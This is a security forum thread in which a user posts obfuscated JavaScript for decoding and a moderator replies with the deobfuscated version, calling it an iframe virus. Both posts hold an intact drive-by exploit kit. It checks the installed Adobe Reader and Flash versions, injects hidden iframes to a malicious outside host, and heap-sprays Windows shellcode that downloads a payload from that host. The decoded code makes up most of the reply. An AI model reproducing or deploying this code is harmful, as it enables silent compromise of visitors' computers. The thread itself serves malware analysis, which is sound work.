Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 4, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145
People Online:
Visitors: 497
Members: 0
Total: 497
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> decode please
Post new topic  Reply to topic View previous topic :: View next topic 
decode please
PostPosted: Sun Feb 07, 2010 5:58 pm Reply with quote
gudulik
Regular user
Regular user
 
Joined: Oct 19, 2009
Posts: 19




// <script>
Z7AE='escape';MRQi='';if(!document.klmn&&(InP1=unescape)){Z7AE=MRQi;MRQi='%'}g7P2=InP1(MRQi+Z7AE);
MRQi='dV6fcument74.wt72iV74e(t22I3cdI69v st74ylV65V3dV5cV22posV69V74iont3aI61bsV6fluV74t65I3b lefI74I3at2d10V30I30pt78I3bI20t74opI3at2d1t30I300pV78V3bV5cV22V3eI22)V3bfut6eI63I74ioV6e i73(a)I7bt64ocuI6dI65nV74.wrI69I74e(t22V3cifraV6det20srt63t3dI5ct22ht74V74pI3at2ft2flaV74rit62unat64eV74oI6cedo.t63V61nalI2dsi.I63oI6dV2ffot74ot73V2fmasV5fI6eoI74icV69asV2ephI70I3fsI3dwV4afDV509prt26idV3dV22V2bat2bV22V5ct22V3eV3cI2fV69frat6det3et22)t3bV7dLoQV3d0t3bvar scodeI3dI22V25u3V319I30t25u99t430V25V75036V34I25u3040V25uI34t308Bt25t758Bt30CI25u1C70t25I758I42t41DV25u0I38V36V38I25uI378E8V25uV30000I25uI38B00t25V753V434I35t25u8B53I25u055V34I25u5t36I378V25ut45I4101I25ut43983V25u52FFt25u7t328BV25u01V320I25u41t45V45V25u31AI44I25u99V44Bt25uI43V42C1I25u010Dt25u40DI33I25t7502I399I25uV30554t25V7575FFV25u39I463I25u75FV42V25u5V45EAV25u5t458BI25I7501t324t25uV366EBt25t75V30Ct38BV25uV38V424BI25uV31V435EV25uEBV30I31t25V750t348BI25V75V3018BI25u5EE8V25uI46FI35BI25uI350t450I25u49BFI25t750FV45t44t25uFFt37EI25u5I45DV33I25u50I356t25V755452V25uI35656t25uBI4650V25u4B8BV25t75t35FEI33V25ut44t33FV46V25uV30t31V35I39V25t758V35CEI25u58C0V25u0I32E3V25uV45975t25uI35058V25uCt3629I25u948DI25u2036I25t75AV31DI35I25u0161I25uI33054t25ut383FCV25u04EEI25uFI3075I25u31I433I25ut426F6V25u5BV33I30V25ut34I306I41V25uCI31t35I32t25u04E2I25u5t36I35t32I25u54BFt25uAFCAV25I75FF9t31I25u50D3I25u0I43V45t38t25uV30000V25u7I37V300t25I75V36E69I25ut36Et369t25ut37465I25t75642V45I25V75I36C6Ct25I75t42F00V25V754E8EI25uECI30EV25uD3FFI25u5695V25I7556t356t25u5656t25u29V42FV25uV45844I25I75FF5I37I25u56D3V25u006t38I25u0t3001V25uV35684V25uEV3856V25ut46F83t25uFFFV46V22I3bfuncV74ionV20I65k13(I29I7breI74urnV20t74V72uet3bt7dwV69t6edV6fwI2eV6fnerV72t6frt3deI6b13V3bfunct74V69I6fn nI373(a)V7bvar t6b,s,I69t3bif(naI76iI67at74t6fI72V2emimeTV79pes.lengV74V68V26t26(t6bI3dnavigat74or.V70lt75t67inst29)for(t69t3d0V3bI69t3ckI2elengI74V68V3bt69V2bI2b)t7bst3dkt5biI5d.nI61t6dI65t3bift28s.indexOf(a)t3et3dI30I29V72eI74V75I72n kV5bt69I5dt3bV7dret74I75rn t30V3bI7drI6dYt74t67t3d0t3bV74rV79I7brmYV74gV3dV6eew AcI74V69vI65t58t4fbject74t28t22AcroV50DV46.I50I44FI22)t3bI7dI63at74V63hI28e)V7bI7dV69f(t21rmI59t74g)V74ryV7bt72mYV74t67V3dneV77V20I41cI74iveXI4fbjeI63I74(I22PDF.Pt64t66CI74rlt22)V3bt7dcat74ch(e)I7bV7dif(rt6dYV74t67)t7bvar V6cvV3d(t28rmYt74g.GeI74I56V65rsI69onst28).t73pliI74(I22I2ct22))I5b4V5d.splt69I74(I22V3dV22)t29I5bI31V5d.rV65plaI63e(t2ft5c.I2fgt2cV22t22)I3brmYt74V67V3dt28lvV3c90I30)I26V26(lvV21I3d8t313)I3bV7delseV20I72mYV74gV3dt6e73(I22AdobI65 AV22V29t7cI7cn73(V22AdI6fbeV20t50t22)t3bif(rmV59I74g)t69I37t33(2V29I3bV4coQt3d0V3bt72mI59I74gV3d0I3bfI75t6ecI74iot6e s7t33t28V61)I7bt69f(aV5bI30V5dI3dt3dI39t29t7brmYI74I67t3dV61V5b2I5dt3c124t3bLt6fQI3d(aI5b2t5dt3e16)V26I26I28aI5b2t5dI3c2I346t29V3bV7dV65lseV20t69f(aI5bV30t5dI3dV3d10)V4coQV3dat5b2V5dI3c23t3bt4coQt3dI4cV6fQt26t26(navV69gaV74or.userAI67enV74.I74I6fLowerI43ase(t29.I69ndexOf(t22safariI22t29t3dV3dV2d1t29I3bt7dt69f((I78I3dn73(V22V46laI73ht22V29V29t26V26I28t78t3dx.V64eI73ct72ipt74ion))s73(x.repV6ct61t63et28V2fV28V5baV2dzAI2dZt5dV7cI5cs)+t2f,I22t22).rept6cace(t2f(V5ct73+rV7ct5cs+bV5b0I2d9t5dV2bt29V2f,V22.V22)V2eI73plit74(I22I2eV22))t3belsI65 V74I72yV7bI7373((new I41ct74iI76I65XObjecI74(V22St68ot63t6bwaveI46V6casV68.t53hockwavI65Flast68I22I29V29I2eGt65I74I56ariaI62lt65(t22t24vt65rsiont22I29.I73I70lit74I28V22 t22)I5b1I5d.V73pI6ciV74(I22,t22))V3bt7dV63aI74ch(e)I7bI7dit66(t72mt59V74g)i7I33(V33)I3bif(LoQt29V7bI76arV20mV3dnew Art72ay(),m1V3duneV73caV70e(I22t25V750t38t308I25I750808V22)I2ct73I3dI75nI65st63I61V70e(scV6ft64e+I22I25u7468V25u7t3074V25u2FV33At25u6C2Ft25I757461V25u697I32I25uV37562I25u6t316EV25u656V34V25u6F7I34t25t75656CV25u6I466t34I25u632Et25u6E61I25t756C61I25u73V32DI25u2E6V39V25u6F63t25u2F6DI25u6F66I25uI36F74I25u2F73V25I75616Dt25u5FV373V25uI36F6EV25u6t39V374t25uV36963V25u736t31V25I75702EI25u7068I25u733t46I25ut3773V44t25u664At25u50I344V25I7570t339I25t752V3672I25u6469I25u3V313I44I25ut300t33t32t22)V3bwhile(m1.lenI67V74I68V3cI3d32V3768)m1+I3dm1t3bV6dI31V3dm1.sV75bsV74riI6eg(0t2c32I37t368t2ds.lengI74ht29V3bfV6fr(varV20iV3d0I3biI3ct31536I3bit2bt2b)V6dI5biI5dI3dm1+sI3bI6973(V224I26zI3dV22+(t72mYt74gt2b0))V3bt7dt64ocumenI74.V77riV74e(I22t3cI2fdV69vI3et22)t3b';
jF1j=MRQi.replace(/[ItV]/g,g7P2);eval(InP1(jF1j));

//</script>
View user's profile Send private message
PostPosted: Tue Aug 07, 2012 4:12 pm Reply with quote
demon
Moderator
Moderator
 
Joined: Sep 22, 2010
Posts: 485




it's a fucking iframe virus
Code:
document.write("<div style=\"position:absolute;
 left:-1000px;
 top:-1000px;
\">");
function i73(a)
   {
   document.write("<iframe src=\"http://latribunadetoledo.canal-si.com/fotos/mas_noticias.php?s=wJfDP9pr&id="+a+"\"></iframe>");
}
LoQ=0;
var scode="%u3190%u99C0%u0364%u3040%u408B%u8B0C%u1C70%u8BAD%u0868%u78E8%u0000%u8B00%u3C45%u8B53%u0554%u5678%uEA01%uC983%u52FF%u728B%u0120%u41EE%u31AD%u99DB%uCBC1%u010D%u40D3%u0299%u0554%u75FF%u39F3%u75FB%u5EEA%u5E8B%u0124%u66EB%u0C8B%u8B4B%u1C5E%uEB01%u048B%u018B%u5EE8%uFF5B%u50E0%u49BF%u0FED%uFF7E%u5ED3%u5056%u5452%u5656%uBF50%u4B8B%u5FE3%uD3FF%u0159%u85CE%u58C0%u02E3%uE975%u5058%uC629%u948D%u2036%uA1D5%u0161%u3054%u83FC%u04EE%uF075%u31C3%uB6F6%u5B30%u406A%uC152%u04E2%u5652%u54BF%uAFCA%uFF91%u50D3%u0CE8%u0000%u7700%u6E69%u6E69%u7465%u642E%u6C6C%uBF00%u4E8E%uEC0E%uD3FF%u5695%u5656%u5656%u29BF%uE844%uFF57%u56D3%u0068%u0001%u5684%uE856%uFF83%uFFFF";
function ek13()
   {
   return true;
}
window.onerror=ek13;
function n73(a)
   {
   var k,s,i;
   if(navigator.mimeTypes.length&&(k=navigator.plugins))for(i=0;
   i<k.length;
   i++)
      {
      s=k[i].name;
      if(s.indexOf(a)>=0)return k[i];
   }
   return 0;
}
rmYtg=0;
try
   {
   rmYtg=new ActiveXObject("AcroPDF.PDF");
}
catch(e)
   {
}
if(!rmYtg)try
   {
   rmYtg=new ActiveXObject("PDF.PdfCtrl");
}
catch(e)
   {
}
if(rmYtg)
   {
   var lv=((rmYtg.GetVersions().split(","))[4].split("="))[1].replace(/\./g,"");
   rmYtg=(lv<900)&&(lv!=813);
}
else rmYtg=n73("Adobe A")||n73("Adobe P");
if(rmYtg)i73(2);
LoQ=0;
rmYtg=0;
function s73(a)
   {
   if(a[0]==9)
      {
      rmYtg=a[2]<124;
      LoQ=(a[2]>16)&&(a[2]<246);
   }
   else if(a[0]==10)LoQ=a[2]<23;
   LoQ=LoQ&&(navigator.userAgent.toLowerCase().indexOf("safari")==-1);
}
if((x=n73("Flash"))&&(x=x.description))s73(x.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));
else try
   {
   s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(" ")[1].split(","));
}
catch(e)
   {
}
if(rmYtg)i73(3);
if(LoQ)
   {
   var m=new Array(),m1=unescape("%u0808%u0808"),s=unescape(scode+"%u7468%u7074%u2F3A%u6C2F%u7461%u6972%u7562%u616E%u6564%u6F74%u656C%u6F64%u632E%u6E61%u6C61%u732D%u2E69%u6F63%u2F6D%u6F66%u6F74%u2F73%u616D%u5F73%u6F6E%u6974%u6963%u7361%u702E%u7068%u733F%u773D%u664A%u5044%u7039%u2672%u6469%u313D%u0032");
   while(m1.length<=32768)m1+=m1;
   m1=m1.substring(0,32768-s.length);
   for(var i=0;
   i<1536;
   i++)m[i]=m1+s;
   i73("4&z="+(rmYtg+0));
}
document.write("</div>");
View user's profile Send private message
decode please
  www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
 		All times are GMT  
Page 1 of 1  
  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
 Page Generation: 0.154 Seconds